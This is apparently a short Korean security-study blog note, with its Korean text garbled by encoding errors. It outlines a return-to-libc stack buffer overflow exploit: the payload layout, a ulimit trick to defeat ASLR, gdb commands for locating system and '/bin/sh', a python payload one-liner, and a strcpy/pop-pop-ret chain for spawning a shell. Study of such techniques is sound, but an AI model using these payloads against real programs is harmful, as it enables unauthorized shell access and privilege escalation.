728x90
๋ฐ์ํ
buf[248] + sfp[4] + ret
ulimit -s unlimited //์คํํฌ๊ธฐ๋ฅผ ๋ฌดํ์ ์ผ๋ก ๋๋ ค ASLR์ด ์ ์ฉ์๋จ
system,execve - ebp+8์์น์์๋๊ฒ์ ์ธ์๋ก๋ฐ์
buf[248] + sfp [4] + ์กฐ์(system) + AAAA + /bin/sh
- system("/bin/sh")
b main
r 1
p system - system์ฃผ์ ๊ตฌํ๊ธฐ
p exit - exit๊ตฌํ๊ธฐ
find &system,+9999999,"/bin/sh" - /bin/sh์ฃผ์ ๊ตฌํ๊ธฐ
./filename $(python -c 'print "A"*๋ฒํผ+sfp + system + exit + /bin/sh
strcpy(bss,\x80asda)
strcpy(bss,"b")
./filename buf+sfp + strcpy + poppopret + bss + / + strcpy + poppopret + bss + b
\x00... + system + AAAA + bss1
728x90
๋ฐ์ํ
'Security Study > System' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
system /bin/sh ์ฃผ์ ์ฐพ๊ธฐ (0) | 2015.09.15 |
---|---|
system 2 (0) | 2015.09.13 |
system shellcode (0) | 2015.09.10 |
BOF(buffer overflow) (0) | 2015.09.03 |
์นด์นด์คํก ๋น๋ฐ๋ํ ๋ถ์ (0) | 2015.09.03 |
๋๊ธ